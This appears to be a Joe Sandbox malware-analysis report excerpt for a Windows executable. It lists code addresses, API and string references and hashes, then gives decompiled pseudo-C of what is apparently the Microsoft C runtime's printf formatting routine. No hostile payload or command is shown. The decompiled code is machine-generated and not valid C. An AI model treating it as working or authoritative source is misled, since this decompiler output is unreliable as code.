0x00434b21
0x00434b26
0x00434b28
0x00434b2d
0x00434b30
0x00434b33
0x00434b35
0x00434b35
0x00434b33
0x00434b36
0x00434b3d
0x00434b85
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x00000000
0x00435076
0x00434b3f
0x00434b3f
0x00434b44
0x00434b60
0x00434b68
0x00434b72
0x00434b75
0x00434b7a
0x00000000
0x00434b7a
0x00000000
0x00434dcc
0x00434dcc
0x00434dd6
0x00434dd6
0x00434ddc
0x00434dde
0x00434de1
0x00434de1
0x00434de7
0x00434de7
0x00000000
0x00000000
0x00434d84
0x00434d84
0x00000000
0x00000000
0x004349c1
0x004349c1
0x004349c5
0x004349d3
0x004349d6
0x004349c7
0x004349c7
0x004349c7
0x004349dc
0x004349e2
0x004349e8
0x004349f4
0x004349fa
0x004349fa
0x00434a00
0x00434a67
0x00434a67
0x00434a6b
0x00434a6d
0x00434a73
0x00434a73
0x00434a76
0x00434a79
0x00434a7f
0x00434a7f
0x00434a7f
0x00434a8b
0x00434a8e
0x00434a94
0x00434a96
0x00000000
0x00000000
0x00434a98
0x00434a98
0x00434a9e
0x00434aa1
0x00434aa3
0x00000000
0x00000000
0x00434aa5
0x00434aab
0x00434aae
0x00434aae
0x00434ab6
0x00434ab6
0x00434abc
0x00434abc
0x00434abf
0x00000000
0x00434a02
0x00434a02
0x00434a02
0x00434a06
0x00434a08
0x00434a0d
0x00434a0d
0x00434a10
0x00434a17
0x00434a1a
0x00434a20
0x00434a20
0x00434a20
0x00434a2c
0x00434a2f
0x00434a35
0x00434a37
0x00000000
0x00000000
0x00434a39
0x00434a39
0x00434a3f
0x00434a42
0x00434a44
0x00000000
0x00000000
0x00434a46
0x00434a4c
0x00434a4f
0x00434a4f
0x00434a57
0x00434a5d
0x00434a60
0x00434a62
0x00434ac2
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x00000000
0x00435076
0x00435072
0x00000000
0x00434d7b
0x00434d7b
0x00000000
0x00000000
0x00434d97
0x00434d97
0x00434da1
0x00434da1
0x00434dab
0x00434dab
0x00434db1
0x00434db3
0x00434dbd
0x00434dbd
0x00434dc0
0x00434dc3
0x00434dc3
0x00434dea
0x00434ded
0x00434ded
0x00434df2
0x00434e14
0x00434e14
0x00434e1a
0x00434e3c
0x00434e3c
0x00434e3f
0x00434e86
0x00434e86
0x00434e89
0x00434ea6
0x00434eaa
0x00434eb2
0x00434eb2
0x00434eb4
0x00434eba
0x00434e8b
0x00434e8b
0x00434e8f
0x00434e97
0x00434e98
0x00434e9e
0x00434e9e
0x00434e41
0x00434e44
0x00434e44
0x00434e47
0x00434e65
0x00434e71
0x00434e74
0x00434e75
0x00434e7b
0x00434e49
0x00434e49
0x00434e4d
0x00434e55
0x00434e56
0x00434e57
0x00434e5d
0x00434e5d
0x00434e81
0x00434e1c
0x00434e1c
0x00434e28
0x00434e2e
0x00434e2e
0x00434df4
0x00434df4
0x00434e00
0x00434e06
0x00434e06
0x00434ec3
0x00434ec3
0x00434ec6
0x00434f08
0x00434f08
0x00434f0e
0x00434f14
0x00434f1a
0x00000000
0x00434ec8
0x00434ec8
0x00434ec8
0x00434ecf
0x00000000
0x00000000
0x00434ed1
0x00434ed1
0x00434edc
0x00434ee2
0x00434ee4
0x00434eea
0x00434eed
0x00434eef
0x00434ef5
0x00434efe
0x00434f03
0x00434f20
0x00434f23
0x00434f23
0x00434f28
0x00434f2d
0x00434f2d
0x00434f33
0x00434f35
0x00434f3b
0x00434f41
0x00434f41
0x00434f4a
0x00434f4a
0x00434f33
0x00434f50
0x00434f54
0x00434f62
0x00434f65
0x00434f68
0x00434f6f
0x00434f71
0x00434f71
0x00434f56
0x00434f56
0x00434f56
0x00434f7e
0x00434f7e
0x00434f84
0x00434f86
0x00434f86
0x00434f8d
0x00434f90
0x00434f93
0x00434f93
0x00434f93
0x00434f99
0x00434f9c
0x00434f9f
0x00434fa1
0x00000000
0x00000000
0x00434fa3
0x00434fa9
0x00434fa9
0x00434faf
0x00000000
0x00000000
0x00434fb1
0x00434fb1
0x00434fb4
0x00434fb7
0x00434fbe
0x00434fc5
0x00434fcd
0x00434fd3
0x00434fd6
0x00434fd9
0x00434fe0
0x00434fec
0x00434ff2
0x00434ff8
0x00434fff
0x00435001
0x00435007
0x00435007
0x0043500d
0x0043500d
0x00435013
0x00435016
0x0043501c
0x00435021
0x00435024
0x00434f93
0x00434f93
0x00434f99
0x00434f9c
0x00434f9f
0x00434fa1
0x00000000
0x00000000
0x00000000
0x00434fa1
0x00434f93
0x00434ed3
0x00434ed3
0x00434eda
0x00000000
0x00000000
0x00000000
0x00434eda
0x00000000
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x00000000
0x00435076
0x00000000
0x00000000
0x00434631
0x00434634
0x00434637
0x00000000
0x00000000
0x0043463c
0x0043463f
0x00434644
0x00000000
0x00000000
0x00434626
0x00434626
0x00434629
0x0043462c
0x00000000
0x00000000
0x0043461b
0x0043461e
0x00434621
0x00000000
0x00000000
0x00434649
0x00434649
0x0043464c
0x0043464c
0x0043464f
0x00000000
0x00000000
0x00434652
0x00000000
0x00000000
0x004343ee
0x004343f0
0x004343fe
0x004343f2
0x004343f2
0x004343f2
0x00434408
0x0043440e
0x0043441b
0x0043441d
0x00434422
0x00434424
0x00434429
0x0043442e
0x00434430
0x00434435
0x0043443b
0x0043443d
0x0043443d
0x0043443b
0x0043443e
0x00434445
0x00000000
0x00434447
0x0043444c
0x00434468
0x00434470
0x0043447d
0x00434482
0x00435341
0x0043534e
0x0043534e
0x00434445
0x004343e8
0x0043527d
0x00435284
0x0043529b
0x0043529b
0x004352a5
0x004352a5
0x004352ab
0x004352b8
0x004352ba
0x004352bf
0x004352c1
0x004352c6
0x004352cb
0x004352cd
0x004352d2
0x004352d8
0x004352da
0x004352da
0x004352d8
0x004352e2
0x0043532d
0x00435336
0x0043533b
0x004352e4
0x004352e9
0x00435305
0x0043530d
0x0043531a
0x0043531f
0x0043531f
0x00000000
0x004352e2
0x00435286
0x0043528d
0x00000000
0x00000000
0x0043528f
0x0043528f
0x00000000
0x0043528f
0x00435072
0x0043493c
0x0043493c
0x00434942
0x00434949
0x0043494e
0x00434951
0x00000000
0x00434951

APIs

_get_int_arg.LIBCMTD ref: 00434919
_strlen.LIBCMT ref: 00434949
_write_multi_char.LIBCMTD ref: 004350EE
_write_string.LIBCMTD ref: 00435109
_write_multi_char.LIBCMTD ref: 00435135
_wctomb_s.LIBCMTD ref: 004351B2

Strings

_output_s_l, xrefs: 0043445E
("Incorrect format specifier", 0), xrefs: 0043441D, 00434463
-, xrefs: 0043508E
HD@, xrefs: 0043493C
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00434429, 00434459

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$HD@$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2232461714-2091699214
Opcode ID: 1383094e7ff25fc9f4c7fe71c00a3fb9767d327c96c670db4873ce8eb16f5c67
Instruction ID: e2cae0a26d4790bade2f558671d015f8132e27a41df4359ad942a3ced58fd408
Opcode Fuzzy Hash: 1383094e7ff25fc9f4c7fe71c00a3fb9767d327c96c670db4873ce8eb16f5c67
Instruction Fuzzy Hash: BCA16BB0D016289BDF64DF54CC89BEEB7B0EB88304F1481DAE4196B291D7799E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043BB94, Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043BB94(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t482;
				signed int _t484;
				signed int _t487;
				void* _t492;
				signed int _t494;
				void* _t502;
				void* _t520;
				signed int _t524;
				void* _t534;
				signed int _t567;
				signed int _t573;
				void* _t594;
				void* _t595;
				signed int _t596;
				void* _t598;
				void* _t599;

				L0:
				while(1) {
					L0:
					_t595 = __esi;
					_t594 = __edi;
					_t534 = __ebx;
					_t482 = E00428150(_t596 + 0x14);
					_t599 = _t598 + 4;
					 *((intOrPtr*)(_t596 - 0x474)) = _t482;
					if( *((intOrPtr*)(_t596 - 0x474)) == 0) {
						goto L76;
					}
					L75:
					__ecx =  *(__ebp - 0x474);
					if( *(__ecx + 4) != 0) {
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L80:
						while(1) {
							L187:
							if( *(_t596 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t596 - 0x10) & 0x00000040) != 0) {
								if(( *(_t596 - 0x10) & 0x00000100) == 0) {
									if(( *(_t596 - 0x10) & 0x00000001) == 0) {
										if(( *(_t596 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t596 - 0x14)) = 0x20;
											 *(_t596 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t596 - 0x14)) = 0x2b;
										 *(_t596 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t596 - 0x14)) = 0x2d;
									 *(_t596 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t596 - 0x4ac)) =  *((intOrPtr*)(_t596 - 0x18)) -  *(_t596 - 0x24) -  *(_t596 - 0x1c);
							if(( *(_t596 - 0x10) & 0x0000000c) == 0) {
								E0043C760(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
							}
							E0043C7A0( *(_t596 - 0x1c), _t596 - 0x14,  *(_t596 - 0x1c),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
							_t599 = _t599 + 0x10;
							if(( *(_t596 - 0x10) & 0x00000008) != 0) {
								if(( *(_t596 - 0x10) & 0x00000004) == 0) {
									E0043C760(0x30,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
									_t599 = _t599 + 0x10;
								}
							}
							if( *(_t596 - 0xc) != 0) {
								L208:
								E0043C7A0( *(_t596 - 0x24),  *(_t596 - 4),  *(_t596 - 0x24),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t596 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *(_t596 - 0x4b0) =  *(_t596 - 4);
								 *(_t596 - 0x4b4) =  *(_t596 - 0x24);
								while(1) {
									L203:
									 *(_t596 - 0x4b4) =  *(_t596 - 0x4b4) - 1;
									if( *(_t596 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t520 = E0041AAD0(_t596 - 0x40);
									_t524 = E0043B200(_t596 - 0x458,  *(_t596 - 0x4b0),  *((intOrPtr*)( *((intOrPtr*)(E0041AAD0(_t596 - 0x40))) + 0xac)), _t520);
									_t599 = _t599 + 0x10;
									 *(_t596 - 0x4b8) = _t524;
									if( *(_t596 - 0x4b8) > 0) {
										L206:
										E0043C700( *(_t596 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0xc;
										 *(_t596 - 0x4b0) =  *(_t596 - 0x4b0) +  *(_t596 - 0x4b8);
										continue;
									}
									L205:
									 *(_t596 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t596 - 0x44c) >= 0) {
									if(( *(_t596 - 0x10) & 0x00000004) != 0) {
										E0043C760(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0x10;
									}
								}
							}
							L212:
							if( *(_t596 - 0x20) != 0) {
								L0041C1C0( *(_t596 - 0x20), 2);
								_t599 = _t599 + 8;
								 *(_t596 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t596 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t596 + 0xc))));
								_t535 =  *(_t596 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t596 + 0xc)) =  *((intOrPtr*)(_t596 + 0xc)) + 2;
								if(( *(_t596 - 0x454) & 0x0000ffff) == 0 ||  *(_t596 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t596 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t596 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t596 - 0x4d8) = 0;
									} else {
										 *(_t596 - 0x4d8) =  *(( *(_t596 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
									}
								}
								L7:
								 *(_t596 - 0x450) =  *(_t596 - 0x4d8);
								_t573 =  *(_t596 - 0x450) * 9;
								_t494 =  *(_t596 - 0x45c);
								_t543 = ( *(_t573 + _t494 + 0x407e08) & 0x000000ff) >> 4;
								 *(_t596 - 0x45c) = ( *(_t573 + _t494 + 0x407e08) & 0x000000ff) >> 4;
								if( *(_t596 - 0x45c) != 8) {
									L16:
									 *(_t596 - 0x4e0) =  *(_t596 - 0x45c);
									if( *(_t596 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t596 - 0x4e0) * 4 +  &M0043C5F4))) {
										case 0:
											L18:
											 *(_t596 - 0xc) = 1;
											E0043C700( *(_t596 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
											_t599 = _t599 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t59 =  *(__ebp - 0x4e4) + 0x43c62c; // 0x498d04
											__ecx =  *_t59 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C614))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t83;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428150(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t94;
												 *(__ebp - 0x30) = __ecx + _t94;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428150(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t102 =  *(__ebp - 0x4e8) + 0x43c654; // 0xbe619003
											__ecx =  *_t102 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C640))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t596 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t143 =  *(__ebp - 0x4ec) + 0x43c6c0; // 0xcccccc0d
											__eax =  *_t143 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0043C684))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L81:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L83;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													goto L0;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B540( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AAD0(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x440374; // 0x2c9cf96e
															E00424340(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AAD0(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x440380; // 0xac9cf9bd
																	E00424340(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AAD0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44037c; // 0xac9cf9c2
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
